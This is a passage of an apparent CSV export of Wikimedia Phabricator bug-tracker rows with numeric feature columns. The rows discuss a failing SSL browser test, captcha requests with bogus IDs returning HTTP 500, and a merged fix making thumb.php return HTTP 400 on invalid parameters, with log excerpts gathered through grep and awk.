",Medium,50.0,1423665922,1424448955.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-TASK-kvtecjvysogeyldjnsm3,task_description,resolved,True,c3,1,True,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2666666666666666,0.8,"The browser tests URL keeps failing because:

``CODE``
"
414826,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),Great! thank you Amir :-],,,1424449256,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Great! thank you Amir :-]
414825,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"Yes, I removed it until I'll fix it.",,,1424448955,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,36.0,9.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6363636363636362,0.8181818181818182,"Yes, I removed it until I'll fix it."
414803,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),@Amire80 any thought about dropping the browser tests hitting sandbox.translatewiki.net?  I think I have seen commit to get rid of them.,,,1424447455,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.958333333333333,0.9583333333333334,SCREEN_NAME any thought about dropping the browser tests hitting sandbox.translatewiki.net?  I think I have seen commit to get rid of them.
410149,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"I would say drop the tests, but I hope Amir will comment as he has been the contact person for tests in our team.",,,1423688084,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,15.0,12.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.8846153846153846,"I would say drop the tests, but I hope Amir will comment as he has been the contact person for tests in our team."
410139,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"Should we get rid of the https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-sandbox.translatewiki.net-linux-firefox-sauce/ browser test job so?

We also have one [[ https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-language-browsertests.wmflabs.org-linux-firefox-sauce/443/ | hitting language-browsertests.wmflabs.org ]] but it is failing because a 500 internal server error.

The one [[ https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-commons.wikimedia.beta.wmflabs.org-linux-firefox-sauce/ | on commons.wikimedia.beta.wmflabs.org ]] pass fine. I guess that is the only one we should keep.

",,,1423686676,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,3.0,11.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,8.0,5.0,3.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,3.9516129032258065,0.7096774193548387,"Should we get rid of the URL browser test job so?

We also have one [[ URL | hitting language-browsertests.wmflabs.org ]] but it is failing because a 500 internal server error.

The one [[ URL | on commons.wikimedia.beta.wmflabs.org ]] pass fine. I guess that is the only one we should keep.

"
409908,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),We might do a star cert next time we need to renew it. But I'd also like these tests migrated away from translatewiki.net server.,,,1423667603,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.925925925925926,0.9629629629629629,We might do a star cert next time we need to renew it. But I'd also like these tests migrated away from translatewiki.net server.
88970,"bogus captchaid results in http 500, should be http 400 instead","hi,
see also T88412 for more context, it seems bogus captchaid yield http 500 back to the client whereas returning some flavor of http 400 would be more correct:

```
erbium:~$ grep  miss/50 /a/log/webrequest/sampled-1000.tsv.log | grep Captcha | uniq -f2 -w16 -c | awk '{print $1 "" "" $4 "" "" $9 "" "" $10}'
1 2015-02-09T06:43:25 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1821936605
4 2015-02-09T07:10:19 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=399458500
1 2015-02-09T07:25:45 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=950331796
1 2015-02-09T07:30:36 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=457819367
2 2015-02-09T08:36:32 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1787180145
2 2015-02-09T08:53:15 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=675749755
2 2015-02-09T09:01:54 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1360792335
2 2015-02-09T09:14:31 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1274562332
1 2015-02-09T09:29:18 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=394009108
1 2015-02-09T09:36:44 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=2111699485
1 2015-02-09T09:47:19 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=2118419926
1 2015-02-09T09:54:15 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=477299702
2 2015-02-09T10:11:54 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1263614379
```",Medium,50.0,1423477432,1426666025.0,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-tr2g4cy4gzmiepdwmdet,task_description,duplicate,True,c3,1,True,False,True,-21,True,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.6923076923076925,0.8461538461538461,"hi,
see also T88412 for more context, it seems bogus captchaid yield http 500 back to the client whereas returning some flavor of http 400 would be more correct:

``CODE``"
88412,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","looking at the sampled logs on erbium it seems we're throwing http 500s regularly when generating thumbs, most errors seem due to the wrong size being requested that would result in upscaling the image.

I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?

```
erbium:~$ grep  miss/50 /a/log/webrequest/sampled-1000.tsv.log | uniq -f2 -w16 -c | awk '{print $1 "" "" $4 "" "" $9 "" "" $10}'
6 2015-02-03T06:26:29 GET http://upload.wikimedia.org/wikipedia/el/thumb/9/9e/%CE%A0%CE%B1%CF%81%CE%B1%CE%BC%CE%B5%CE%BB%CE%B7%CE%BC%CE%AD%CE%BD%CE%B7_%CE%9F%CF%85%CF%81%CE%B9%CE%BA%CE%AE_%CE%B1%CF%81%CE%B8%CF%81%CE%AF%CF%84%CE%B9%CF%82_%CE%A7%CE%B5%CF%81%CE%B9%CF%8E%CE%BD.JPG/1032px-%CE%A0%CE%B1%CF%81%CE%B1%CE%BC%CE%B5%CE%BB%CE%B7%CE%BC%CE%AD%CE%BD%CE%B7_%CE%9F%CF%85%CF%81%CE%B9%CE%BA%CE%AE_%CE%B1%CF%81%CE%B8%CF%81%CE%AF%CF%84%CE%B9%CF%82_%CE%A7%CE%B5%CF%81%CE%B9%CF%8E%CE%BD.JPG
19 2015-02-03T06:30:14 GET http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/36px-Commons-logo.svg.png%202x""%20data-file-width=""1024""%20data-file-height=""1376""%20/></a>%20<b><span%20class=""plainlinks""><a%20class=""external%20text""%20href=""http:/lookup-api.apple.com.edgesuite.net/commons.wikimedia.org/wiki/?uselang=it"">Commons</a></span></b>
7 2015-02-03T06:40:19 GET http://upload.wikimedia.org/wikipedia/en/thumb/6/6f/Vathikuchi.jpg/402px-Vathikuchi.jpg
10 2015-02-03T06:51:42 GET http://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Valencia01_11-2-03.JPG/794px-Valencia01_11-2-03.JPG
7 2015-02-03T07:00:14 GET http://upload.wikimedia.org/wikipedia/en/thumb/9/9e/Koli_tree_near_Panamaram_fort_site.JPG/1024px-Koli_tree_near_Panamaram_fort_site.JPG
13 2015-02-03T07:10:25 GET http://upload.wikimedia.org/wikipedia/ja/thumb/9/95/%E3%83%88%E3%82%B3%E3%82%B8%E3%83%A9%E3%83%9F_%E6%8A%9C%E3%81%91%E6%AE%BB.JPG/640px-%E3%83%88%E3%82%B3%E3%82%B8%E3%83%A9%E3%83%9F_%E6%8A%9C%E3%81%91%E6%AE%BB.JPG
14 2015-02-03T07:21:22 GET http://upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/8px-Opentail_g.svg.png""%20width=""8""%20height=""14""%20srcset=""http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/12px-Opentail_g.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/16px-Opentail_g.svg.png%202x""%20data-file-width=""115""%20data-file-height=""196""%20/></a>
10 2015-02-03T07:30:50 GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fa/Flag_of_the_People%27s_Republic_of_China.svg/35px-Flag_of_the_People%27s_Republic_of_China.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/f/fa/Flag_of_the_People%27s_Republic_of_China.svg/45px-Flag_of_the_People%27s_Republic_of_China.svg.png%202x""%20data-file-width=""900""%20data-file-height=""600""%20/>&
11 2015-02-03T07:40:05 GET http://upload.wikimedia.org/wikipedia/commons/thumb/2/23/Casino_slots2.jpg/
18 2015-02-03T07:50:32 GET http://upload.wikimedia.org/wikipedia/commons/thumb/c/c9/Laos.Visa.JPG/1005px-Laos.Visa.JPG
15 2015-02-03T08:00:36 GET http://upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Fairytale_bookmark_silver.svg/21px-Fairytale_bookmark_silver.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Fairytale_bookmark_silver.svg/28px-Fairytale_bookmark_silver.svg.png%202x""%20data-file-width=""100""%20data-file-height=""100""%20/></span>%20<i><a%20href=""/wiki/L%27Illusion_comique_(t%C3%A9l%C3%A9film)""%20title=""L
9 2015-02-03T08:11:23 GET http://upload.wikimedia.org/wikipedia/commons/thumb/8/88/WIN31SOD.JPG/816px-WIN31SOD.JPG
11 2015-02-03T08:20:25 GET http://upload.wikimedia.org/wikipedia/commons/thumb/9/9d/Warszawa%2C_Pa%C5%82ac_Kultury_i_Nauki_-_26.11.2009_r..JPG/728px-Warszawa%2C_Pa%C5%82ac_Kultury_i_Nauki_-_26.11.2009_r..JPG
15 2015-02-03T08:30:00 GET http://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Torre_de_Belem_1.JPG/1024px-Torre_de_Belem_1.JPG
20 2015-02-03T08:40:03 GET http://upload.wikimedia.org/wikipedia/commons/thumb/0/0e/TRON_9-9145.gif/16px-TRON_9-9145.gif
22 2015-02-03T08:50:08 GET http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292
18 2015-02-03T09:01:52 GET http://upload.wikimedia.org/wikipedia/en/thumb/6/6f/Vathikuchi.jpg/402px-Vathikuchi.jpg
23 2015-02-03T09:11:18 GET http://upload.wikimedia.org/wikipedia/commons/thumb/b/b3/2005_Pebble_Beach_Concours_Bertone.PNG/466px-2005_Pebble_Beach_Concours_Bertone.PNG
19 2015-02-03T09:20:28 GET http://upload.wikimedia.org/wikipedia/en/thumb/4/49/ImamRezaHospital.JPG/800px-ImamRezaHospital.JPG
10 2015-02-03T09:30:18 GET http://upload.wikimedia.org/wikipedia/en/thumb/2/2e/Wine_TV.PNG/96px-Wine_TV.PNG
",Medium,50.0,1422956435,1423681860.0,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-6hmkyekk2jumbv7au4rx,task_description,resolved,True,c3,1,True,False,True,-22,True,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,3.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.6666666666666666,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.666666666666668,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,1.0,13.666666666666666,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,22.666666666666668,0.0,2.0,3.0,7.0,0.3333333333333333,2.6666666666666665,0.0,2.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,3.2436700336700337,0.4642087542087541,"looking at the sampled logs on erbium it seems we're throwing http 500s regularly when generating thumbs, most errors seem due to the wrong size being requested that would result in upscaling the image.

I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?

```
erbium:~$ grep  miss/50 /a/log/webrequest/sampled-1000.tsv.log | uniq -f2 -w16 -c | awk '{print $1 "" "" $4 "" "" $9 "" "" $10}'
6 2015-02-03T06:26:29 GET URL
19 2015-02-03T06:30:14 GET URL
7 2015-02-03T06:40:19 GET URL
10 2015-02-03T06:51:42 GET URL
7 2015-02-03T07:00:14 GET URL
13 2015-02-03T07:10:25 GET URL
14 2015-02-03T07:21:22 GET URL
10 2015-02-03T07:30:50 GET URL
11 2015-02-03T07:40:05 GET URL
18 2015-02-03T07:50:32 GET URL
15 2015-02-03T08:00:36 GET URL
9 2015-02-03T08:11:23 GET URL
11 2015-02-03T08:20:25 GET URL
15 2015-02-03T08:30:00 GET URL
20 2015-02-03T08:40:03 GET URL
22 2015-02-03T08:50:08 GET URL
18 2015-02-03T09:01:52 GET URL
23 2015-02-03T09:11:18 GET URL
19 2015-02-03T09:20:28 GET URL
10 2015-02-03T09:30:18 GET URL
"
410086,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Great! I missed that. Sounds like this is completely done, then.",,,1423681860,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9333333333333333,"Great! I missed that. Sounds like this is completely done, then."
410046,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1030703, @Gilles wrote:
> Should we also change the 500 happening when people request a larger (or equal) size than the original to a 400?

I think that's covered by line 334 of the patch.",,,1423678585,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.9375,"QUOTE
QUOTE

I think that's covered by line 334 of the patch."
409778,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",Should we also change the 500 happening when people request a larger (or equal) size than the original to a 400?,,,1423659293,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,4.0,0.0,0.0,3.8333333333333335,0.9166666666666666,Should we also change the 500 happening when people request a larger (or equal) size than the original to a 400?
409120,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Change 188710 merged by jenkins-bot:
Make thumb.php respond with HTTP 400 (not 500) on invalid parameters

[[https://gerrit.wikimedia.org/r/188710]]",,,1423556989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8214285714285716,0.9285714285714286,"Change 188710 merged by jenkins-bot:
Make thumb.php respond with HTTP 400 (not 500) on invalid parameters

[[GERRIT_URL]]"
407396,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1017533, @fgiunchedi wrote:
> what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict

#MediaWiki-extensions-ConfirmEdit , I think.",,,1423163824,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"QUOTE
QUOTE

#MediaWiki-extensions-ConfirmEdit , I think."
407395,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1017533, @fgiunchedi wrote:
> what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict

#ConfirmEdit, I think.",,,1423163786,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.9,"QUOTE
QUOTE

#ConfirmEdit, I think."
407122,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1016386, @Tgr wrote:
>> I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?
> 
> There are three kinds of errors in the logs you pasted: 

indeed that was conflating several issues, I failed to point out the emphasis which was on the number of hits per 10-min bucket. The log above is also really a summary and there might be more failure cases hidden.

> # requesting a captcha with a bogus id ([[ http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292 | link ]]) - this is probably via the FancyCaptcha extension and should be a separate bug
> # requesting a bigger image (or, in some cases, the same size) as the source (`$thumb->fileIsSource()` check in `thumb.php`)
> # garbage in query string - `wfThumbError(400, ...)` is called in `thumb.php` but the error still ends up to be 500.


